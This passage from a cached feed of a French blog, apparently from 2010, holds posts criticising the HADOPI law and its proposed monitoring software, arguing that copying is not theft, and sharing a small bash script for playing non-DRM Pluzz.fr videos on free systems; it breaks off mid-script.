Mais il faut un modèle pour financer cette création. Que ça soit la licence globale, la SARD ou autre… Je n’ai pas LA solution. J’en ai juste la principale caractéristique : le financement doit être décorrélé de la vente unitaire de copies. Évidemment, les principales entreprises à se battre contre cette évolution sont celles qui vivent en vendant des copies. Mais a-t-on fait une loi pour sauver les vendeurs de lampes à huile quand l’électricité est arrivée ?

Peut-être trouvez-vous les propositions alternatives irréalistes ou stupides. Mais que pensez-vous alors de baser un modèle économique sur la vente de quelque chose qui est accessible à tous gratuitement, la copie ?

Hadopi pédagogique ?

Voilà ce que m’a appris la loi Hadopi sur le « piratage ». Avant je pensais que le « piratage », c’était mal, mais que c’était difficilement réversible car très répandu (« et puis après tout, tout le monde le fait »). Maintenant, j’ai compris que ce qui est appelé « piratage » n’est autre que l’usage commun des œuvres dans une société où la révolution numérique aurait été prise en compte, l’usage normal qui rencontre la résistance des modèles d’avant la dématérialisation…

Comme quoi, Albanel avait raison, la loi Hadopi a bien été pédagogique !

Références

Si vous vous intéressez un peu au sujet, mon analyse n’a sans doute pas grand chose d’original. Ça ne m’empêche pas de la partager, et puis après tout, tout travail de création n’est-il pas un dérivé ?

Je vous recommande principalement, si ce n’est pas déjà fait, la lecture du livre Confessions d’un voleur, écrit par Laurent Chemla en 2002, mais qui est on ne peut plus d’actualité. C’est d’après moi une référence ! Il est disponible en version papier mais également en accès libre dans les formats ouverts qui vont bien (mais pas sous licence libre).

Pour l’anecdote, j’ai commandé la version papier (comme quoi, on peut acheter quelque chose de gratuit), mais je ne l’ai pas encore reçue car « la poste n’a pas pu localiser mon adresse ». Le filtrage d’Internet aurait-il des effets de bord jusqu’à dans le monde physique ?

EDIT : Je poursuis ma réflexion dans ce billet, où je détaille pourquoi je pense que la guerre contre le partage est une manifestation d’une problématique beaucoup plus générale.

";s:7:"dateiso";s:15:"20100807_005247";}s:15:"20100806_225247";a:7:{s:5:"title";s:27:"Piratage ou usage commun ?";s:4:"link";s:54:"http://blog.rom1v.com/2010/08/piratage-ou-usage-commun";s:4:"guid";s:54:"http://blog.rom1v.com/2010/08/piratage-ou-usage-commun";s:7:"pubDate";s:25:"2010-08-06T22:52:47+02:00";s:11:"description";s:0:"";s:7:"content";s:9811:"

pirate

Lorsqu’on parle de la loi Hadopi, c’est souvent pour mettre en évidence son caractère inapplicable ou pour dénoncer son atteinte aux libertés fondamentales. Il me semble que beaucoup sont d’accord pour “lutter contre le piratage, mais pas comme ça”. C’est ce que je pensais avant.

Pour une fois, je voudrais évoquer les fondements mêmes de la guerre contre le partage, le “fléau” qu’elle s’est donné comme objectif de combattre. Je vous livre donc mes quelques réflexions sur ce qui est appelé piratage.

Un peu de science-fiction

Supposons qu’on invente une machine capable de dupliquer les objets matériels, accessible à tous. Plus personne ne serait pauvre, plus personne ne mourrait de faim : il suffirait de dupliquer les oranges, les baguettes de pain, etc. Les bases de l’économie de la distribution seraient totalement ruinées. Les industries alimentaires, textiles, automobiles… crieraient au scandale : tout le monde serait capable de copier la voiture de son voisin. D’ailleurs, que deviendrait l’argent ? Tout le monde pourrait dupliquer ses billets et ses pièces…

De la même manière, si demain on inventait un téléporteur permettant à chacun de se déplacer d’un point du globe à un point autre instantanément et gratuitement, que deviendraient les entreprises de transport, les constructeurs automobiles et les stations-services ? Sensibiliserions-nous la population sur les ravages des téléporteurs, en la culpabilisant de faire perdre des emplois à la SNCF ou chez Air France ?

Faudrait-il nier les avantages induits par ces évolutions, et tenter à tout prix de les restreindre ou de les interdire, en traitant de pirates ceux qui copient une orange ou qui “volent” la SNCF en se téléportant ? Faudrait-il distinguer la “téléportation légale”, celle qui ne se ferait que de gare en gare après l’achat d’un ticket, de la “téléportation illégale”, qu’on pourrait utiliser n’importe où gratuitement et sans contraintes ? D’ailleurs, comment pourrait-on contrôler que personne ne se téléporterait pas “illégalement” sans instaurer une surveillance généralisée de la population ?

Mettrions-nous tout ceci en œuvre afin de préserver les modèles économiques en place dans le monde d’avant ces innovations ?

Ou alors faudrait-il réfléchir à une société adaptée à cette (r)évolution ?

Internet

Internet est à la fois un copieur et un téléporteur : il permet de dupliquer à distance !

Ce n’est pas un supermarché géant, ni un gadget pour geeks, ni un outil qui ne sert qu’à consulter les résultats sportifs… C’est beaucoup plus que cela ! C’est sans doute l’invention qui modifie le plus en profondeur la société en si peu de temps. Mais vu que c’est le sujet de ce billet, je ne vais parler que de la toute petite partie qui concerne l’accès à la culture “sous copyright”.

Valeur

La dématérialisation a permis à tous de copier, car un contenu numérique est intrinsèquement copiable, gratuitement. Vendre de la copie dans un tel environnement est suicidaire. Ce qui pose problème, c’est que justement c’était le modèle économique du monde matériel, donc tout est remis en cause. Avant, il fallait passer par les distributeurs pour obtenir une copie, plus maintenant.

On est dans le même cas qu’avec le téléporteur : il serait illusoire de vendre un déplacement en avion ou en train. On pourrait faire toutes les sensibilisations du monde, en expliquant qu’en se téléportant gratuitement on va faire perdre des emplois à la SNCF et chez Air France, la valeur d’un “déplacement” serait intrinsèquement nulle, ce serait invendable.

Ce qui a de la valeur, c’est l’œuvre en elle-même (cette valeur n’est d’ailleurs pas forcément essentiellement monétaire), ce n’est pas son support. Le problème, c’est que financer l’œuvre en elle-même est délicat. Jusqu’ici, dans le monde matériel, l’œuvre était forcément fixée sur un support (un livre par exemple, ou un CD), il suffisait donc de faire payer le support, et l’œuvre était payée (le créateur n’en touchait qu’une toute petite partie, mais ça c’est une autre histoire)… On évitait donc le problème en vendant chaque instance de l’œuvre, plutôt que de financer l’œuvre.

Mais Internet a fondamentalement redéfini les règles : il a clairement séparé œuvre et support (de la même manière qu’un téléporteur redéfinirait les règles physiques dans notre société). Faire payer le support n’est donc plus pertinent. De plus, cette séparation permet à l’œuvre d’être dupliquable à l’infini et gratuitement par tous. La décorrélation entre l’acquisition d’une nouvelle copie et son financement est donc inéluctable.

Cette séparation est déjà en place depuis plusieurs années : chacun peut obtenir une nouvelle copie d’une œuvre dématérialisée sans pour autant la payer. Ce qu’il faut, c’est financer la création, pas interdire les copies ! Rien ne justifie que les œuvres soient payées par la vente à l’unité de copies. D’ailleurs, quand on entend “il faut acheter les albums pour que les créateurs soient rémunérés”, on pourrait également dire “il faut acheter les émissions pour que les animateurs TV soient rémunérés”. On voit bien que le travail n’a pas à être rémunéré par l’accès unitaire de chacun au fruit de ce travail… Copier n’est pas voler. Partager non plus.

Transition

Mais la transition est brutale, beaucoup trop brutale pour avoir le temps de mettre en place des mesures justes et adaptées. Pas pour l’enrayer, mais pour l’accompagner. Du coup, le choix qui est fait pour l’instant est de tenter d’empêcher cette révolution qui a déjà eu lieu. C’est voué à l’échec.

Rien n’est fait pour résoudre le problème. Au contraire, tout est mis en œuvre pour tenter de réassocier œuvre et support (support qui a la caractéristique de ne pas être copiable gratuitement, même s’il est virtuel comme avec les DRM), plutôt que de profiter de l’immense opportunité de la diffusion illimitée des œuvres (plusieurs études montrent d’ailleurs que le partage de fichiers a un effet global positif sur l’économie). Des campagnes de propagande, maintenant inscrites dans la loi pour expliquer aux petits enfants dans les écoles, veulent faire croire que partager, c’est mal, que ça détruit la création, alors qu’au contraire ça la diffuse et la fait vivre.

Financement

Mais il faut un modèle pour financer cette création. Que ça soit la licence globale, la SARD ou autre… Je n’ai pas LA solution. J’en ai juste la principale caractéristique : le financement doit être décorrélé de la vente unitaire de copies. Évidemment, les principales entreprises à se battre contre cette évolution sont celles qui vivent en vendant des copies. Mais a-t-on fait une loi pour sauver les vendeurs de lampes à huile quand l’électricité est arrivée ?

Peut-être trouvez-vous les propositions alternatives irréalistes ou stupides. Mais que pensez-vous alors de baser un modèle économique sur la vente de quelque chose qui est accessible à tous gratuitement, la copie ?

Hadopi pédagogique ?

Voilà ce que m’a appris la loi Hadopi sur le “piratage”. Avant je pensais que le “piratage”, c’était mal, mais que c’était difficilement réversible car très répandu (“et puis après tout, tout le monde le fait”). Maintenant, j’ai compris que ce qui est appelé “piratage” n’est autre que l’usage commun des œuvres dans une société où la révolution numérique aurait été prise en compte, l’usage normal qui rencontre la résistance des modèles d’avant la dématérialisation…

Comme quoi, Albanel avait raison, la loi Hadopi a bien été pédagogique !

Références

Si vous vous intéressez un peu au sujet, mon analyse n’a sans doute pas grand chose d’original. Ça ne m’empêche pas de la partager, et puis après tout, tout travail de création n’est-il pas un dérivé ?

Je vous recommande principalement, si ce n’est pas déjà fait, la lecture du livre Confessions d’un voleur, écrit par Laurent Chemla en 2002, mais qui est on ne peut plus d’actualité. C’est d’après moi une référence ! Il est disponible en version papier mais également en accès libre dans les formats ouverts qui vont bien (mais pas sous licence libre).

Pour l’anecdote, j’ai commandé la version papier (comme quoi, on peut acheter quelque chose de gratuit), mais je ne l’ai pas encore reçue car “la poste n’a pas pu localiser mon adresse”. Le filtrage d’Internet aurait-il des effets de bord jusqu’à dans le monde physique ?

Je poursuis ma réflexion dans ce billet, où je détaille pourquoi je pense que la guerre contre le partage est une manifestation d’une problématique beaucoup plus générale.

";s:7:"dateiso";s:15:"20100806_225247";}s:15:"20100801_030346";a:7:{s:5:"title";s:33:"Le logiciel HADOPI est impossible";s:4:"link";s:64:"http://blog.rom1v.com/2010/08/le-logiciel-hadopi-est-impossible/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=1713";s:7:"pubDate";s:31:"Sun, 01 Aug 2010 01:03:46 +0000";s:11:"description";s:397:"Ça y’est, nous en savons plus sur les moyens de sécurisation HADOPI, après la diffusion (par Numerama) de leurs spécifications fonctionnelles (publiques mais secrètes), établies par M. Riguidel (soupçonné de conflits d’intérêts). EDIT: Le document final est publié ici. Sémantique Ce document nous confirme que le logiciel de sécurisation est en fait un mouchard, un [...]";s:7:"content";s:13559:"

Ça y’est, nous en savons plus sur les moyens de sécurisation HADOPI, après la diffusion (par Numerama) de leurs spécifications fonctionnelles (publiques mais secrètes), établies par M. Riguidel (soupçonné de conflits d’intérêts).

EDIT: Le document final est publié ici.

Sémantique

Ce document nous confirme que le logiciel de sécurisation est en fait un mouchard, un logiciel de surveillance et de contrôle des utilisateurs.

En effet, la sécurité permet de se prémunir d’attaques extérieures et d’espionnage. Au contraire, les spécifications présentées définissent un logiciel espion qui journalise les faits et gestes (du moins ceux qui l’intéressent) des internautes. Dans l’esprit des architectes de la loi, la surveillance des utilisateurs est un moyen de sécurisation de la forme actuelle de la propriété intellectuelle, de la même manière que la censure est un moyen de sécurisation de l’opinion publique. Mais il ne s’agit absolument pas de sécurisation informatique.

Il est d’ailleurs amusant d’avoir précisé que logiciel devait espionner mais sans trop se faire remarquer (page 13) :

les moyens ne sont pas reconnus comme un « malware » par les antivirus du marché

Principe de fonctionnement

Le principe de ce mouchard est d’enregistrer les actions de l’utilisateur dans deux fichiers (une version en clair et une version « sécurisée »). La version « sécurisée » doit être conservée un an, et servira au besoin à prouver que l’utilisateur a ou n’a pas fait telle ou telle action. C’est exactement comme proposer à la population l’installation d’une caméra de surveillance sur la tête qui conserverait les enregistrements pendant un an, dans le but de prouver son innocence lors d’une éventuelle accusation.

Ces spécifications sont inquiétantes par leur logique de surveillance et de contrôle. Les objectifs sont assez clairs. De plus en plus de politiques prenant conscience des enjeux de la neutralité du net (le Chili a même voté une loi pour la garantir), il paraît difficile d’imposer un filtrage (par ailleurs inefficace) pour combattre le partage de fichiers (quoique l’idée pourrait encore resurgir). Il serait également délirant d’imposer à chacun l’installation d’un tel mouchard sur toutes ses machines (même la Chine a reculé). La solution est donc de créer une insécurité juridique avec des accusations aléatoires (sans aucune preuve) et de proposer un outil de surveillance qui permettra de prouver sa bonne foi. S’ils ne peuvent pas prouver leur innocence, les utilisateurs risquent une amende de 1500€ et/ou une coupure d’accès Internet pendant un mois pour délit de négligence caractérisée. Une subtile manipulation de la présomption d’innocence.

L’arnaque technique

Attention, on rentre dans la technique, c’est là que ça devient rigolo.

Un journal… sécurisé

Je disais que le logiciel devait journaliser les actions des utilisateurs dans deux fichiers, une version en clair et une version « sécurisée ». C’est la partie cruciale du fonctionnement du logiciel de sécurisation. Tout est détaillé pages 28 et 32 :

Il existe deux sortes de journaux qui sont produits en temps réel dans deux bases de données distinctes :

Un journal en clair que les utilisateurs et l’administrateur peuvent consulter.

Un journal sécurisé. Ce journal est confidentiel, authentique et infalsifiable. Toute tentative de falsification éventuelle est détectable. Pour des raisons de sécurité, cette seconde version du journal est en mode binaire, compressée, signée électroniquement, chiffrée, et archivée pendant une période d’au moins une année. Ce journal sera accessible en clair à la demande du titulaire de l’abonnement. Il permettra de vérifier, après déchiffrement avec la clé privée correspondant au logiciel, laquelle est détenue par le tiers de confiance, la mise en œuvre du logiciel de sécurisation à une date et heure donnée, et l’activité informatique de l’internaute concerné. Ce journal permet de refléter, sans interférence possible du titulaire de l’abonnement, les événements de l’accès Internet considéré.

Le chiffrement des journaux s’opère avec de la cryptographie asymétrique, en utilisant la clé publique fournie, avec le logiciel, par un tiers de confiance.

On a donc un journal en clair, et une copie en binaire-compressé-signé-chiffré-archivé-infalsifiable-incopiable. Comment est chiffrée cette copie? Par une clé publique (fournie avec le logiciel). Comment est signée cette copie? Ce n’est pas dit, mais c’est forcément par une clé (privée), fournie elle-aussi avec le logiciel.

Le poste de l’utilisateur possède donc la clé de chiffrement et la clé de signature, mais attention, abracadabra, il ne doit pas pouvoir créer un « faux » journal chiffré et signé ! Et s’il tente de créer un faux journal, le logiciel doit le détecter !

Un logiciel impossible

Le but du journal « sécurisé » est évidemment de s’assurer qu’il a bien été généré par le mouchard et qu’il n’a pas été modifié. On se demande alors l’intérêt de le chiffrer par une clé publique (vu que de toute façon le journal est accessible en clair). Ce qu’il faut, c’est le signer. Et pour signer, il faut une clé privée. Et une clé privée, on ne peut pas l’intégrer au logiciel, car alors elle serait rendue publique, et n’importe qui pourrait signer n’importe quoi. La clé privée du « tiers de confiance » ne peut donc pas être diffusée pour signer les journaux.

Envoyer les journaux chez le « tiers de confiance » (ce qui est clairement exclu de toute façon) ne fonctionnerait pas mieux, car rien n’empêcherait l’utilisateur d’envoyer de faux journaux.

Il n’est donc pas possible de réaliser un tel logiciel.

Mesdames et messieurs de l’Hadopi, si une société vous propose un logiciel qui répond aux spécifications, méfiez-vous, il n’y répond pas. Mesdames et messieurs les commerciaux des sociétés informatiques, réfléchissez bien avant d’accepter un tel contrat, vos équipes projets ne pourront pas le réaliser.

La cryptographie asymétrique

Pourtant, la cryptographie, ça fonctionne bien et c’est accessible à tous très simplement. Pourquoi donc un tel logiciel ne peut pas fonctionner ?

La cryptographie asymétrique, ça permet à A d’écrire un message à B de telle manière que B soit sûr que le message provienne de A et que A soit sûr que seul B puisse le lire. A et B se font confiance.

Ici, par définition, le tiers de confiance vis-à-vis de l’Hadopi (B) ne fait pas confiance à l’internaute (A). Donc B veut écrire et signer le message (ici le journal) qui se trouve chez A. Pour cela, une partie de B (le mouchard) doit se trouver chez A : cette partie peut donc être contrôlée par A. On en déduit que A peut signer les messages qu’il veut en se faisant passer pour B.

Il n’y a d’ailleurs rien d’étonnant à ce qu’un outil de sécurité et de protection ne réponde pas au besoin d’un logiciel de surveillance et de contrôle.

Cachez le code

Logiciels propriétaires

Il reste une petite subtilité à détailler. J’ai dit que si la clé privée était intégrée au logiciel, alors elle était publique (accessible à tous), et que si le mouchard se trouvait chez un internaute, il pouvait être contrôlé par l’internaute.

En fait, certains logiciels ne permettent pas aux utilisateurs d’en étudier directement le fonctionnement, et donc a fortiori d’en modifier le comportement : ce sont les logiciels dits propriétaires ou privateurs (du moins ceux dont les sources ne sont pas fournies). Ces logiciels sont par définition une privation d’une partie du contrôle de sa propre machine : l’utilisateur doit faire confiance aveuglément aux actions du logiciel. C’est l’idéal pour un programme de surveillance.

Mais il ne s’agit en rien d’une sécurité, la clé se trouve quand même dans le programme, et sera un moment ou à un autre utilisée (pour signer le journal). Ne pas fournir les sources du programme ne fera que rendre la tâche un petit peu plus difficile (il faudra sans doute lire de l’assembleur), mais je n’ai aucun doute sur le fait que 48 heures après le programme diffusé, un outil permettant d’en extraire la clé sera disponible.

Bien loin d’une protection rendant le journal infalsifiable comme exigée.

Logiciels libres

Les rédacteurs du document ont bien compris que le logiciel libre ne devait pas être écarté du champ du mouchard, et qu’il fallait que l’expression « logiciel libre » apparaisse dans les spécifications (page 6) :

Les moyens peuvent être réalisés à partir de logiciels libres et/ou fonctionner sur des systèmes d’exploitation libres.

Ils peuvent être réalisés « à partir » ou « fonctionner sur » des logiciels libres. Mais fondamentalement, un mouchard ne peut pas être libre. Le logiciel libre permet à l’utilisateur d’avoir le contrôle de sa machine ; le mouchard lui propose de perdre une partie de ce contrôle pour être surveillé. C’est forcément incompatible.

Concrètement, c’est très simple à comprendre : il suffit de modifier les sources du logiciel qui écrit le journal « sécurisé » pour qu’il n’écrive que ce que l’on décide.

Droit de contrôle de son ordinateur

On observe de nombreuses tentatives de s’emparer du contrôle d’au moins une partie des ordinateurs de la population. C’est le cas avec des systèmes de suppression d’applications ou de contenu à distance sans le consentement de l’utilisateur (je pense notamment à Apple et Google pour leur systèmes mobiles). C’est le cas maintenant avec des mouchards que la loi recommande.

Je pense qu’il serait intéressant de faire du « droit de contrôle de son ordinateur » (ou appelez ça comme vous voulez) un enjeu au même titre que la neutralité du net : si le filtrage est interdit au niveau du réseau, il va être chez l’utilisateur. Dans ce cas, la seule forme acceptable est qu’il soit sous son contrôle, et non sous le contrôle d’une entreprise privée ou d’une quelconque autre entité.

D’ailleurs, le document de spécifications du logiciel HADOPI laisse penser que l’installation d’applications dans les boitiers ADSL hors du contrôle de l’utilisateur est prévu (page 9) :

Pour le moment le parc des boitiers ADSL est très hétérogène, et les boitiers sont dimensionnés de telle manière qu’il est difficile de loger des applications supplémentaires dans ces boitiers. Pourtant, on peut réfléchir à ces solutions pour les futures générations de boitiers, dans le cadre du renouvellement général du parc.

";s:7:"dateiso";s:15:"20100801_030346";}s:15:"20100801_010346";a:7:{s:5:"title";s:33:"Le logiciel HADOPI est impossible";s:4:"link";s:63:"http://blog.rom1v.com/2010/08/le-logiciel-hadopi-est-impossible";s:4:"guid";s:63:"http://blog.rom1v.com/2010/08/le-logiciel-hadopi-est-impossible";s:7:"pubDate";s:25:"2010-08-01T01:03:46+02:00";s:11:"description";s:0:"";s:7:"content";s:12913:"

Ça y’est, nous en savons plus sur les moyens de sécurisation HADOPI, après la diffusion par Numerama de leurs spécifications fonctionnelles (publiques mais secrètes), établies par M. Riguidel (soupçonné de conflits d’intérêts).

EDIT : Le document final est publié ici.

Sémantique

Ce document nous confirme que le logiciel de sécurisation est en fait un mouchard, un logiciel de surveillance et de contrôle des utilisateurs.

En effet, la sécurité permet de se prémunir d’attaques extérieures et d’espionnage. Au contraire, les spécifications présentées définissent un logiciel espion qui journalise les faits et gestes (du moins ceux qui l’intéressent) des internautes. Dans l’esprit des architectes de la loi, la surveillance des utilisateurs est un moyen de sécurisation de la forme actuelle de la propriété intellectuelle, de la même manière que la censure est un moyen de sécurisation de l’opinion publique. Mais il ne s’agit absolument pas de sécurisation informatique.

Il est d’ailleurs amusant d’avoir précisé que logiciel devait espionner mais sans trop se faire remarquer (page 13) :

les moyens ne sont pas reconnus comme un « malware » par les antivirus du marché

Principe de fonctionnement

Le principe de ce mouchard est d’enregistrer les actions de l’utilisateur dans deux fichiers (une version en clair et une version “sécurisée”). La version “sécurisée” doit être conservée un an, et servira au besoin à prouver que l’utilisateur a ou n’a pas fait telle ou telle action. C’est exactement comme proposer à la population l’installation d’une caméra de surveillance sur la tête qui conserverait les enregistrements pendant un an, dans le but de prouver son innocence lors d’une éventuelle accusation.

Ces spécifications sont inquiétantes par leur logique de surveillance et de contrôle. Les objectifs sont assez clairs. De plus en plus de politiques prenant conscience des enjeux de la neutralité du net (le Chili a même voté une loi pour la garantir), il paraît difficile d’imposer un filtrage (par ailleurs inefficace) pour combattre le partage de fichiers (quoique l’idée pourrait encore resurgir). Il serait également délirant d’imposer à chacun l’installation d’un tel mouchard sur toutes ses machines (même la Chine a reculé). La solution est donc de créer une insécurité juridique avec des accusations aléatoires (sans aucune preuve) et de proposer un outil de surveillance qui permettra de prouver sa bonne foi. S’ils ne peuvent pas prouver leur innocence, les utilisateurs risquent une amende de 1500€ et/ou une coupure d’accès Internet pendant un mois pour délit de négligence caractérisée. Une subtile manipulation de la présomption d’innocence.

L’arnaque technique

Attention, on rentre dans la technique, c’est là que ça devient rigolo.

Un journal… sécurisé

Je disais que le logiciel devait journaliser les actions des utilisateurs dans deux fichiers, une version en clair et une version “sécurisée”. C’est la partie cruciale du fonctionnement du logiciel de sécurisation. Tout est détaillé pages 28 et 32 :

Il existe deux sortes de journaux qui sont produits en temps réel dans deux bases de données distinctes :

Un journal en clair que les utilisateurs et l’administrateur peuvent consulter.

Un journal sécurisé. Ce journal est confidentiel, authentique et infalsifiable. Toute tentative de falsification éventuelle est détectable. Pour des raisons de sécurité, cette seconde version du journal est en mode binaire, compressée, signée électroniquement, chiffrée, et archivée pendant une période d’au moins une année. Ce journal sera accessible en clair à la demande du titulaire de l’abonnement. Il permettra de vérifier, après déchiffrement avec la clé privée correspondant au logiciel, laquelle est détenue par le tiers de confiance, la mise en œuvre du logiciel de sécurisation à une date et heure donnée, et l’activité informatique de l’internaute concerné. Ce journal permet de refléter, sans interférence possible du titulaire de l’abonnement, les événements de l’accès Internet considéré.

Le chiffrement des journaux s’opère avec de la cryptographie asymétrique, en utilisant la clé publique fournie, avec le logiciel, par un tiers de confiance.

On a donc un journal en clair, et une copie en binaire-compressé-signé-chiffré-archivé-infalsifiable-incopiable. Comment est chiffrée cette copie ? Par une clé publique (fournie avec le logiciel). Comment est signée cette copie ? Ce n’est pas dit, mais c’est forcément par une clé (privée), fournie elle-aussi avec le logiciel.

Le poste de l’utilisateur possède donc la clé de chiffrement et la clé de signature, mais attention, abracadabra, il ne doit pas pouvoir créer un “faux” journal chiffré et signé ! Et s’il tente de créer un faux journal, le logiciel doit le détecter !

Un logiciel impossible

Le but du journal “sécurisé” est évidemment de s’assurer qu’il a bien été généré par le mouchard et qu’il n’a pas été modifié. On se demande alors l’intérêt de le chiffrer par une clé publique (vu que de toute façon le journal est accessible en clair). Ce qu’il faut, c’est le signer. Et pour signer, il faut une clé privée. Et une clé privée, on ne peut pas l’intégrer au logiciel, car alors elle serait rendue publique, et n’importe qui pourrait signer n’importe quoi. La clé privée du “tiers de confiance” ne peut donc pas être diffusée pour signer les journaux.

Envoyer les journaux chez le “tiers de confiance” (ce qui est clairement exclu de toute façon) ne fonctionnerait pas mieux, car rien n’empêcherait l’utilisateur d’envoyer de faux journaux.

Il n’est donc pas possible de réaliser un tel logiciel.

Mesdames et messieurs de l’Hadopi, si une société vous propose un logiciel qui répond aux spécifications, méfiez-vous, il n’y répond pas. Mesdames et messieurs les commerciaux des sociétés informatiques, réfléchissez bien avant d’accepter un tel contrat, vos équipes projets ne pourront pas le réaliser.

La cryptographie asymétrique

Pourtant, la cryptographie, ça fonctionne bien et c’est accessible à tous très simplement. Pourquoi donc un tel logiciel ne peut pas fonctionner ?

La cryptographie asymétrique, ça permet à A d’écrire un message à B de telle manière que B soit sûr que le message provienne de A et que A soit sûr que seul B puisse le lire. A et B se font confiance.

Ici, par définition, le tiers de confiance vis-à-vis de l’Hadopi (B) ne fait pas confiance à l’internaute (A). Donc B veut écrire et signer le message (ici le journal) qui se trouve chez A. Pour cela, une partie de B (le mouchard) doit se trouver chez A : cette partie peut donc être contrôlée par A. On en déduit que A peut signer les messages qu’il veut en se faisant passer pour B.

Il n’y a d’ailleurs rien d’étonnant à ce qu’un outil de sécurité et de protection ne réponde pas au besoin d’un logiciel de surveillance et de contrôle.

Cachez le code

Logiciels propriétaires

Il reste une petite subtilité à détailler. J’ai dit que si la clé privée était intégrée au logiciel, alors elle était publique (accessible à tous), et que si le mouchard se trouvait chez un internaute, il pouvait être contrôlé par l’internaute.

En fait, certains logiciels ne permettent pas aux utilisateurs d’en étudier directement le fonctionnement, et donc a fortiori d’en modifier le comportement : ce sont les logiciels dits propriétaires ou privateurs (du moins ceux dont les sources ne sont pas fournies). Ces logiciels sont par définition une privation d’une partie du contrôle de sa propre machine : l’utilisateur doit faire confiance aveuglément aux actions du logiciel. C’est l’idéal pour un programme de surveillance.

Mais il ne s’agit en rien d’une sécurité, la clé se trouve quand même dans le programme, et sera un moment ou à un autre utilisée (pour signer le journal). Ne pas fournir les sources du programme ne fera que rendre la tâche un petit peu plus difficile (il faudra sans doute lire de l’assembleur), mais je n’ai aucun doute sur le fait que 48 heures après le programme diffusé, un outil permettant d’en extraire la clé sera disponible.

Bien loin d’une protection rendant le journal infalsifiable comme exigée.

Logiciels libres

Les rédacteurs du document ont bien compris que le logiciel libre ne devait pas être écarté du champ du mouchard, et qu’il fallait que l’expression “logiciel libre” apparaisse dans les spécifications (page 6) :

Les moyens peuvent être réalisés à partir de logiciels libres et/ou fonctionner sur des systèmes d’exploitation libres.

Ils peuvent être réalisés “à partir” ou “fonctionner sur” des logiciels libres. Mais fondamentalement, un mouchard ne peut pas être libre. Le logiciel libre permet à l’utilisateur d’avoir le contrôle de sa machine ; le mouchard lui propose de perdre une partie de ce contrôle pour être surveillé. C’est forcément incompatible.

Concrètement, c’est très simple à comprendre : il suffit de modifier les sources du logiciel qui écrit le journal “sécurisé” pour qu’il n’écrive que ce que l’on décide.

Droit de contrôle de son ordinateur

On observe de nombreuses tentatives de s’emparer du contrôle d’au moins une partie des ordinateurs de la population. C’est le cas avec des systèmes de suppression d’applications ou de contenu à distance sans le consentement de l’utilisateur (je pense notamment à Apple et Google pour leur systèmes mobiles). C’est le cas maintenant avec des mouchards que la loi recommande.

Je pense qu’il serait intéressant de faire du “droit de contrôle de son ordinateur” (ou appelez ça comme vous voulez) un enjeu au même titre que la neutralité du net : si le filtrage est interdit au niveau du réseau, il va être chez l’utilisateur. Dans ce cas, la seule forme acceptable est qu’il soit sous son contrôle, et non sous le contrôle d’une entreprise privée ou d’une quelconque autre entité.

D’ailleurs, le document de spécifications du logiciel HADOPI laisse penser que l’installation d’applications dans les boitiers ADSL hors du contrôle de l’utilisateur est prévu (page 9) :

Pour le moment le parc des boitiers ADSL est très hétérogène, et les boitiers sont dimensionnés de telle manière qu’il est difficile de loger des applications supplémentaires dans ces boitiers. Pourtant, on peut réfléchir à ces solutions pour les futures générations de boitiers, dans le cadre du renouvellement général du parc.

";s:7:"dateiso";s:15:"20100801_010346";}s:15:"20100706_165711";a:7:{s:5:"title";s:79:"Pluzz.fr : France Televisions lance son service de TV de rattrapage non lisible";s:4:"link";s:108:"http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=1669";s:7:"pubDate";s:31:"Tue, 06 Jul 2010 14:57:11 +0000";s:11:"description";s:432:"Le 5 juillet (hier donc), France Télévisions a lancé son service de télévision de rattrapage, qui ne permet pas de lire les vidéos. À moins d’accepter d’installer un système d’exploitation particulier avec un logiciel particulier (propriétaires évidemment). C’est comme s’ils diffusaient leurs émissions uniquement pour les utilisateurs équipés d’une TV Sony ou Philips, et pas [...]";s:7:"content";s:5888:"

Le 5 juillet (hier donc), France Télévisions a lancé son service de télévision de rattrapage, qui ne permet pas de lire les vidéos. À moins d’accepter d’installer un système d’exploitation particulier avec un logiciel particulier (propriétaires évidemment). C’est comme s’ils diffusaient leurs émissions uniquement pour les utilisateurs équipés d’une TV Sony ou Philips, et pas pour les autres… France Télévisions a simplement oublié que c’était un avant tout un service public.

Formats

La lecture des vidéos nécessite soit Windows Media Player, soit Silverlight. C’est dommage, il aurait été préférable que leur site soit du web, accessible à tous.

En plus de cela, les vidéos sont diffusées dans le format fermé WMV. Certaines contiennent même des DRM. Les DRM, pour rappel, c’est ce qui empêche les utilisateurs de lire le contenu proposé. Certains prétendent que ça permet d’empêcher la copie ; ce n’est pas totalement faux : quand on ne peut pas lire le contenu on ne peut pas le copier. Une autre technique plus efficace serait de ne pas le publier du tout.

En numérique, tout ce qui est lisible est copiable. Par contraposée, tout ce qui n’est pas copiable n’est pas lisible.

Outil d’accès

Comme France Télévisions n’a pas fait son boulot d’interopérabilité, et qu’a priori chacun a droit d’accéder à ce service (public!), nous sommes obligés de nous débrouiller par nous-mêmes.

J’ai donc écrit un petit script bash qui permet d’accéder relativement simplement à Pluzz à partir d’un système libre (où VLC doit être installé, testé sur Ubuntu 10.04). Pour l’utiliser, rendez-vous sur Pluzz.fr, cliquez sur l’émission de votre choix, et copier l’adresse de la page (par exemple http://www.pluzz.fr/jt-20h.html).

Ensuite, pour lire la vidéo, tapez :

pluzz play http://www.pluzz.fr/jt-20h.html

Pour l’enregistrer (bah oui, tout ce qui est lisible est enregistrable) :

pluzz record http://www.pluzz.fr/jt-20h.html

Si vous voulez simplement l’url du flux :

pluzz url http://www.pluzz.fr/jt-20h.html

Ceci ne fonctionnera que pour les vidéos sans DRM : les vidéos avec DRM ne sont pas lisibles.

Script

EDIT 11/07/2010 :
J’ai mis à jour le script avec une version 0.2, qui gère également les flux en mp4 (flvstreamer doit être installé).
L’historique des scripts est disponible ici (au cas où une régression poserait problème).

Voici le script (sous licence wtfpl), à sauvegarder en tant que fichier exécutable /usr/local/bin/pluzz (uniquement si vous comprenez ce que vous faites) :

#!/bin/bash
# Script pour utiliser pluzz.fr
# v0.2 (11 juillet 2010)

if [ $# != 2 ]
then
    printf "Syntaxe: $0 [url|play|record] http://www.pluzz.fr/...\n" >&2
    exit 1
fi
command="$1"
url="$2"

if [ "$command" != 'url' -a "$command" != 'play' -a "$command" != 'record' ]
then
    printf "Command must be 'url', 'play' or 'record', not '$command'\n" >&2
    exit 2
fi

video_page_url=$(wget -qO- "$url" | grep -o 'http://info.francetelevisions.fr/?id-video=[^"]\+')
